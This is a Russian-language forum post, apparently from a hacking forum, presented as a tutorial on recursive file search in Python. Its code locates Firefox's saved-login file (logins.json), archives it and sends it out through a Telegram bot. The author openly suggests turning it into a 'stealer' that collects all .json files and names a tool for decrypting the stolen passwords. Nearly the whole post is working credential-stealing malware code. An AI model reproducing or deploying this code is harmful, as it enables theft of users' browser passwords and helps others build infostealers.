• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Рекурсия и поиск нужных файлов

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838

Введение

Добрый вечер, дорогие форумчане. Давно не писал сюда контента, но вот пришел момент поделиться интересным материалам. Совсем недавно задумался над тем, как найти нужный файл в системе используя лишь среду разработки и прямые руки. Допустим вы хотите взять интересный файл и отправить его себе в любое место. Знаете примерное расположения но проблема заключается в том, что путь известен частично. И в данной статье мы постараемся решить проблему с поиском файлов используя рекурсивный подход к решению задачи.

Основная часть

Для примера я постараюсь найти и отправить себе файл логинов (logins.json) из браузера Firefox. Расположение по которому находиться данный файл выглядит примерно так:

C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release

На каждом устройстве папка имеет разное название, это и затрудняет доступ к файлу. По мимо этого мы должны знать имя пользователя, что зарегистрирован в системе. Для этого будем использовать небольшое количество библиотек и 32 строчки кода. Ну а отправку данных осуществим в мой любимый Telegram при помощи обычного бота. Как его создать вы можете прочесть в сети, поэтому заострять внимания не стану. Чтобы не превышать лимит отправки сообщения добавим в архив данные. Чтобы было меньше слов приступим к делу. Сначала импортируем библиотеки:
Python:
import getpass
import telebot
import glob
import zipfile
import os
Getpass поможет нам определить имя пользователя, а glob найдет файл. Все остальное уже знакомо и не первый раз встречается в моем коде. Далее нам нужно задать переменные, с которыми будет работать в дальнейшем. А начнем с подключения бота:
Python:
bot = telebot.TeleBot("token")
А далее начинается самое интересное. Используя рекурсивный метод поиска файлов мы создадим список с расположением нашего файла. Выглядит он примерно так:

['C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release']

Многим данный вид списка может быть неизвестный, носит названия он кортеж (последовательность неизменяемых объектов). Теперь переходим к созданию такого формата пути вместе с нашим файлом:
Python:
name = getpass.getuser()    # Узнаем имя пользователя
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\logins.json", recursive=True)
Но в дальнейшем наша программа не сможет работать с таким форматом, поэтому переводим его в более читаемый, удаляя скобки и кавычки:
Python:
cookies = ''.join(save)
Остается добавить в архив полученный файл и отправить его удобным путем. Для этого потребуется zipfile:
Python:
archive = zipfile.ZipFile(r'C:\Temp\backup.zip', 'w')    # Можно указать свой путь
archive.write(cookies)
archive.close()
Ну и в итоге завершаем наш код при помощи отправки всего добытого в Telegram:
Python:
@bot.message_handler(commands=['start'])
def start_message(message):
    upfile = open("C:\\Temp\\backup.zip", "rb")

    bot.send_document(message.chat.id, upfile)

    upfile.close()

    os.remove("C:\\Temp\\backup.zip")

    bot.stop_polling()


bot.polling()
Но у многих могут возникнуть недочеты и вопросы. Как это применять? Вы можете на основе этого создать свой стиллер. Для этого заставьте программу искать в папке не конкретный файл, а расширения, что имеются там.
Python:
import getpass
import glob

name = getpass.getuser()
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\**.json", recursive=True)
print(save)
Восстановить данные после получения поможет PasswordFox. Но важно помнить, что программа копирует весь каталог включая папки. Проще говоря вы получите полный путь к данным. Будьте осторожны и рассчитывайте данные перед отправкой, чтобы избежать ошибок.

Вывод

В этой небольшой статье я постарался максимально точно поделиться своим опытом, что может предотвратить множество ошибок и вопросов. Надеюсь данная информация была полезна вам.

Автор @to_0day
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх